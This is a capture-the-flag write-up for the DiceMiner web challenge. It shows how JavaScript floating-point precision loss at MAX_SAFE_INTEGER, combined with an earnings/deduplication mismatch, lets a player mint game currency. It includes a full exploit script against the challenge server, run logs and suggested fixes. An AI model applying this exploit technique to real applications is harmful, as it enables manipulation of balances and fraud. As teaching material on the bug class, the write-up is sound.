DiceMiner
DiceMiner
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: earnings_deduplication_mismatch, ieee754_precision_loss, integer_overflow_beyond_max_safe_integer, progressive_upgrade_exploitation
Summary
Walkthrough of the CUSTOM Web DiceMiner. Task: Mining game where players need 1,000,000 DiceCoin to buy the flag, but 95% hauling cost makes normal play impossible. Solution: Exploit IEEE 754 floating-point precision loss at Number.MAX_SAFE_
Description
"big rock become small paycheck"
A mining game web application built with Node.js/Express. Players register, start a game, and mine blocks in a 2D grid world to earn "DiceCoin". The goal is to accumulate 1,000,000 DiceCoin to buy the flag.
Target: https://diceminer.chals.dicec.tf/
Game Mechanics
| Parameter | Value |
|---|---|
| Starting balance | 0 |
| Starting energy | 250 |
| Energy per dig | 1 |
| HAULING_RATE | 0.95 (95% loss!) |
| Flag cost | 1,000,000 DiceCoin |
| World seed | 42 (deterministic via MD5) |
| |
Pickaxe Upgrades
| Pickaxe | Cost | Range | Tier |
|---|---|---|---|
| Wooden | Free | 5 | 0 |
| Stone | 100 | 15 | 1 |
| Iron | 500 | 40 | 2 |
| Gold | 5000 | 100 | 3 |
Ore Distribution by Depth
| Ore | Depth | Tier | Reward |
|---|---|---|---|
| Surface/Stone/Coal | y ≤ 0 | 0 | ~80 |
| Iron | y ≤ -15 | 1 | ~300 |
| Gold | y ≤ -30 | 2 | ~750 |
| Diamond | y ≤ -50 | 3 | ~1500 |
Under normal play, even with perfect strategy, 250 energy × best possible net per dig is far below 1,000,000 due to the 95% hauling cost.
Analysis
Vulnerability: IEEE 754 Floating-Point Precision Loss + Earnings/Deduplication Mismatch
The critical vulnerability is in the /api/dig endpoint's mining loop in server.js:
javascript read-only • copy allowedlet cx = user.x; let cy = user.y; let remaining = pickaxe.range; while (remaining > 0) { cx += dx; // <-- THE BUG IS HERE cy += dy; if (cy > 0) break; const key = cx + ',' + cy; if (user.mined[key]) { remaining--; continue; } const blockType = getBlockType(cx, cy); const ore = ORES[blockType]; if (!ore) break; if (ore.tier > pickaxe.tier) break; mined[key] = true; // local dict — deduplicates by key! earnings += ore.reward; // accumulates EVERY iteration! remaining--; }
After the loop, the hauling cost is computed from UNIQUE mined blocks only:
javascript read-only • copy allowedconst blocks = Object.keys(mined); // unique keys only! let haulBase = 0; for (const key of blocks) { const [bx, by] = key.split(',').map(Number); const ore = ORES[getBlockType(bx, by)]; haulBase += ore.reward; } const cost = Math.floor(haulBase * HAULING_RATE); const net = earnings - cost;
Two bugs combine:
-
IEEE 754 precision loss: In JavaScript,
Number.MAX_SAFE_INTEGER= 2⁵³ - 1 = 9007199254740991. Whencxreaches 2⁵³ (9007199254740992), the operationcx += 1produces 2⁵³ again because2⁵³ + 1cannot be represented exactly in IEEE 754 double-precision. Socxgets permanently stuck at 2⁵³. -
Earnings vs deduplication mismatch:
earningsaccumulatesore.rewardon every loop iteration, butmined{}is a JavaScript object that deduplicates by key. When all iterations produce the same key (due to the float bug),minedcontains only 1 entry whileearningshasrange × reward. -
Deferred state update:
user.mined[key]is only updated AFTER the loop completes, so during the loop the checkuser.mined[key]returns false for the stuck coordinate, allowing repeated mining of the "same" block.
Exploitation Math
When cx is stuck at 2⁵³, all iterations produce the same coordinate key:
earnings=range × ore.reward(accumulated every iteration)haulBase=1 × ore.reward(only 1 unique key inmined{})cost=floor(ore.reward × 0.95)net=range × ore.reward - floor(ore.reward × 0.95)
Example with Gold Pickaxe (range 100) mining diamond (reward 1500):
- earnings = 100 × 1500 = 150,000
- haulBase = 1 × 1500 = 1,500
- cost = floor(1500 × 0.95) = 1,425
- net = 150,000 - 1,425 = 148,575 per energy point!
With 250 energy, theoretical max = 250 × 148,575 = 37,143,750 DiceCoin — far exceeding the 1,000,000 needed.
Solution
Strategy: Progressive Pickaxe Upgrades
- Start at x = 9007199254740991 (
Number.MAX_SAFE_INTEGER) - Dig down to create a vertical shaft (normal mining, small earnings)
- Dig right at each y-level — cx gets stuck at 2⁵³, exploiting the float bug
- Progressively upgrade pickaxes to access deeper/richer ores:
- Wooden (range 5): exploit coal blocks → earn enough for Stone Pickaxe
- Stone (range 15): exploit iron blocks → earn enough for Iron Pickaxe
- Iron (range 40): exploit gold blocks → earn enough for Gold Pickaxe
- Gold (range 100): exploit diamond blocks → earn 148,575 per dig
- Buy the flag once balance ≥ 1,000,000
Exploit Script
javascript read-only • copy allowedconst BASE_URL = 'https://diceminer.chals.dicec.tf'; const START_X = 9007199254740991; // Number.MAX_SAFE_INTEGER async function api(method, path, body) { const opts = { method, headers: { 'Content-Type': 'application/json' } }; if (body) opts.body = JSON.stringify(body); const res = await fetch(BASE_URL + path, opts); return res.json(); } async function exploit() { const username = 'exploit_' + Date.now(); const password = 'password123'; // Register and start game at MAX_SAFE_INTEGER await api('POST', '/api/register', { username, password }); await api('POST', '/api/start', { x: START_X }); // Phase 1: Wooden Pickaxe (range 5, tier 0) — mine coal // Dig down to y=-7 (coal zone), then dig right to trigger float bug for (let i = 0; i < 7; i++) { await api('POST', '/api/dig', { direction: 'down' }); } // Dig right — cx goes from MAX_SAFE_INTEGER to 2^53 and gets stuck // All 5 iterations hit same key, earnings = 5 × coal_reward let result = await api('POST', '/api/dig', { direction: 'right' }); console.log(`Coal exploit: net=${result.net}, balance=${result.balance}`); // Repeat until we can afford Stone Pickaxe (100 DiceCoin) // ... (dig down to new y-levels, dig right each time) // Phase 2: Buy Stone Pickaxe, exploit iron at y≤-15 await api('POST', '/api/buy', { item: 'stone_pickaxe' }); // Phase 3: Buy Iron Pickaxe, exploit gold at y≤-30 await api('POST', '/api/buy', { item: 'iron_pickaxe' }); // Phase 4: Buy Gold Pickaxe, exploit diamond at y≤-50 await api('POST', '/api/buy', { item: 'gold_pickaxe' }); // Each dig with Gold Pickaxe on diamond: net ≈ 148,575 // Need ~7 digs to reach 1,000,000 // Buy the flag const flagResult = await api('POST', '/api/buy', { item: 'flag' }); console.log('[FLAG]', flagResult.flag); } exploit();
Execution Results
=== PHASE 1: Wooden Pickaxe (range 5, tier 0) ===
y=-7 (coal): net=324, balance=626
y=-8 (coal): net=324, balance=950
y=-13 (coal): net=324, balance=1438
After Phase 1: balance=1479
=== PHASE 2: Stone Pickaxe (range 15, tier 1) ===
y=-23 (iron): net=4215, balance=6797
y=-28 (iron): net=4215, balance=12559
After Phase 2: balance=18325
=== PHASE 3: Iron Pickaxe (range 40, tier 2) ===
y=-52 (gold): net=29288, balance=56661
y=-54 (gold): net=29288, balance=86340
After Phase 3: balance=91419
=== PHASE 4: Gold Pickaxe (range 100, tier 3) ===
y=-61 (diamond): net=148575, balance=235970
y=-92 (diamond): net=148575, balance=689631
y=-105 (diamond): net=148575, balance=870897
y=-113 (diamond): net=148575, balance=1106639
Reached 1,000,000! Balance: 1106639
=== BUYING FLAG ===
[FLAG] dice{REDACTED}
Possible Fixes
- Use BigInt for coordinates — prevents IEEE 754 precision loss
- Compute earnings from unique blocks only —
earnings = sum of rewards for Object.keys(mined)instead of accumulating per-iteration - Check local
mineddict during the loop —if (mined[key]) { remaining--; continue; }before adding to earnings - Validate coordinate ranges — reject coordinates near
MAX_SAFE_INTEGER
Key Takeaways / Lessons
- Mastering earnings_deduplication_mismatch, ieee754_precision_loss, integer_overflow_beyond_max_safe_integer, progressive_upgrade_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-07 • CUSTOM • DiceMiner • Difficulty: Medium